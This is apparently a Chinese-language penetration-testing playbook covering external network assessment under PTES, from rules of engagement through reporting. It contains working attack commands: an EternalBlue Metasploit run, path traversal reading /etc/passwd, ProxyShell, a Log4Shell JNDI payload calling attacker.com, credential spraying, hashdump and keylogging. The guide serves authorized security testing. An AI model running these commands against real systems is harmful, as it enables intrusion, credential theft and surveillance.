| name | performing-external-network-penetration-test |
| description | 依照 PTES 方法论,通过侦察、扫描、漏洞利用和报告等阶段,对面向互联网的基础设施执行全面的外部网络渗透测试,识别可利用漏洞。 |
| domain | cybersecurity |
| subdomain | penetration-testing |
| tags | ["external-pentest","network-security","PTES","OSSTMM","Nmap","Metasploit","vulnerability-assessment","reconnaissance","exploitation"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行外部网络渗透测试
概述
外部网络渗透测试模拟真实攻击者针对组织互联网面向资产(如防火墙、Web 服务器、邮件服务器、DNS 服务器、VPN 网关和云端点)发起的攻击。目标是在恶意攻击者之前识别可利用漏洞,遵循 PTES(渗透测试执行标准)、OSSTMM 和 NIST SP 800-115 等框架。
前置条件
- 书面授权(由资产所有者签署的交战规则文件)
- 明确的测试范围:IP 范围、域名、子域名及排除项
- 测试环境:安装了最新工具的 Kali Linux 或 Parrot OS
- VPN/专用测试基础设施,以避免 IP 封锁
- 与 SOC/NOC 协调测试时间窗口
阶段一:预约定与范围划定
制定交战规则
范围:
- 目标 IP 范围:203.0.113.0/24, 198.51.100.0/24
- 域名:*.target.com, *.target.io
- 排除项:203.0.113.50(生产数据库),*.staging.target.com
- 测试窗口:周一至周五 22:00-06:00 UTC
- 紧急联系人:SOC 负责人 — +1-555-0100
- 授权编号:PENTEST-2025-EXT-042
法律文件检查清单
| 文件 | 状态 | 负责人 |
|---|
| 主服务协议(MSA) | 已签署 | 法务 |
| 工作说明书(SOW) | 已签署 | PM |
| 交战规则(RoE) | 已签署 | CISO |
| 免责信 | 已签署 | CTO |
| 保密协议(NDA) | 已签署 | 法务 |
| 保险证明 | 已核验 | 风险管理 |
阶段二:侦察(信息收集)
被动侦察
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_subs.txt
cat subdomains.txt amass_subs.txt | sort -u > all_subs.txt
dig target.com ANY +noall +answer
dig target.com MX +short
dig target.com NS +short
dig target.com TXT +short
whois target.com
whois -h whois.radb.net -- '-i origin AS12345'
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u
shodan search "org:Target Corp" --fields ip_str,port,product
shodan host 203.0.113.10
theHarvester -d target.com -b all -l 500 -f theharvester_results
trufflehog github --org=targetcorp --concurrency=5
gitleaks detect --source=https://github.com/targetcorp/repo
主动侦察
nmap -sn 203.0.113.0/24 -oG ping_sweep.gnmap
nmap -sS -sV -O -T4 203.0.113.0/24 -oA tcp_scan
nmap -sS -p- -T4 --min-rate 1000 203.0.113.0/24 -oA full_tcp
nmap -sU --top-ports 100 -T4 203.0.113.0/24 -oA udp_scan
nmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0/24 -oA service_scan
sslscan 203.0.113.10:443
testssl.sh --full https://target.com
whatweb -v https://target.com
wappalyzer https://target.com
阶段三:漏洞分析
自动化扫描
nessuscli scan --new --name "External-Pentest-2025" \
--targets 203.0.113.0/24 \
--policy "Advanced Network Scan"
gvm-cli socket --xml '<create_task>
<name>External Pentest</name>
<target id="target-uuid"/>
<config id="daba56c8-73ec-11df-a475-002264764cea"/>
</create_task>'
nuclei -l all_subs.txt -t cves/ -t exposures/ -t misconfigurations/ \
-severity critical,high -o nuclei_results.txt
nikto -h https://target.com -output nikto_results.html -Format htm
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,asp,aspx,jsp,html,txt -o gobuster_results.txt
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
--depth 3 -o ferox_results.txt
手动漏洞验证
searchsploit apache 2.4.49
searchsploit openssh 8.2
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt \
ssh://203.0.113.10 -t 4
ike-scan 203.0.113.20
snmpwalk -v2c -c public 203.0.113.30
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 203.0.113.0/24
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 203.0.113.25
阶段四:漏洞利用
网络服务利用
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 203.0.113.15
set LHOST 10.10.14.5
set LPORT 4444
exploit
curl -s --path-as-is "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
python3 proxyshell_exploit.py -u https://mail.target.com -e admin@target.com
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit}' https://target.com/api
Web 应用利用
sqlmap -u "https://target.com/page?id=1" --batch --dbs --risk=3 --level=5
dalfox url "https://target.com/search?q=test" --skip-bav
commix --url="https://target.com/ping?host=127.0.0.1" --batch
密码攻击
crowbar -b rdp -s 203.0.113.40/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 4
sprayhound -U users.txt -p 'Spring2025!' -d target.com -url https://mail.target.com/owa
hashcat -m 5600 captured_ntlmv2.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
阶段五:后渗透
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump
meterpreter> run post/multi/recon/local_exploit_suggester
./linpeas.sh | tee linpeas_output.txt
.\winPEAS.exe | tee winpeas_output.txt
echo "PENTEST-PROOF-$(date +%Y%m%d)" > /tmp/pentest_proof.txt
ssh -D 9050 user@203.0.113.15
proxychains nmap -sT -p 80,443,445 10.0.0.0/24
meterpreter> screenshot
meterpreter> keyscan_start
阶段六:报告
发现分类(CVSS v3.1)
| 严重性 | CVSS 范围 | 数量 | 示例 |
|---|
| 严重 | 9.0-10.0 | 2 | 通过未修补 Exchange 的 RCE(ProxyShell) |
| 高危 | 7.0-8.9 | 5 | 客户门户中的 SQL 注入 |
| 中危 | 4.0-6.9 | 8 | 缺少安全标头、TLS 1.0 |
| 低危 | 0.1-3.9 | 12 | 通过服务器 Banner 的信息泄露 |
| 信息 | 0.0 | 6 | 开放端口文档 |
报告结构
1. 执行摘要
- 范围与目标
- 关键发现摘要
- 风险评级概览
- 战略建议
2. 技术发现
每项发现包含:
- 标题和 CVSS 评分
- 受影响资产
- 描述和影响
- 重现步骤(含截图)
- 证据/利用证明
- 修复建议
- 参考资料(CVE、CWE)
3. 方法论
- 使用的工具
- 测试时间线
- 遵循的框架(PTES、OWASP)
4. 附录
- 完整扫描结果
- 网络拓扑图
- 原始工具输出
修复优先级矩阵
| 优先级 | 时间线 | 行动 |
|---|
| P1 — 严重 | 24-48 小时 | 修补 RCE 漏洞,禁用暴露的管理面板 |
| P2 — 高危 | 1-2 周 | 修复注入缺陷,实施 MFA |
| P3 — 中危 | 30 天 | 加固 TLS 配置,添加安全标头 |
| P4 — 低危 | 60-90 天 | 移除版本 Banner,更新文档 |
工具参考
| 工具 | 用途 | 许可证 |
|---|
| Nmap | 端口扫描和服务枚举 | GPLv2 |
| Metasploit | 漏洞利用框架 | BSD |
| Burp Suite Pro | Web 应用测试 | 商业 |
| Nuclei | 漏洞扫描 | MIT |
| Subfinder | 子域名枚举 | MIT |
| SQLMap | SQL 注入测试 | GPLv2 |
| Nessus | 漏洞扫描器 | 商业 |
| Gobuster | 目录暴力破解 | Apache 2.0 |
| Hashcat | 密码破解 | MIT |
| theHarvester | OSINT 邮件/域名收集 | GPLv2 |
参考资料